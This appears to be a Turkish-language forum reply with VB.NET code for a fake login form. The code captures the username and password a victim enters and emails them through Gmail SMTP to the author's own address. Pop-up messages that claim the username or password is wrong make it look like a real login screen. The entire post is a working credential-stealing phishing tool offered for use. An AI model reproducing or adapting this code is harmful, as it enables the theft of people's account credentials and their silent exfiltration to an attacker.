Tmm Kardeşim Al Forma 2adet texbox/text koy 1tane command buton koy /Kodlar
If TextBox1.Text = "" Then
MsgBox("Kullanıcı Adı Yanlış")
If TextBox2.Text = "" Then
MsgBox("Şifre Yanlış")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Kendi Gmail Adresin", "Gmail Şifren")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Gmail Adresin")
mail.To.Add("Gmail Adresin")
mail.Subject = "Username : " & TextBox1.Text
mail.Body = "Password : " & TextBox2.Text & ","
smtpServer.Send(mail)
MsgBox("Burayada Butona Basıldıktan Sonra Ekranda Çıkacak Yazı")
MsgBox("Burada Üsttekiyle Aynı")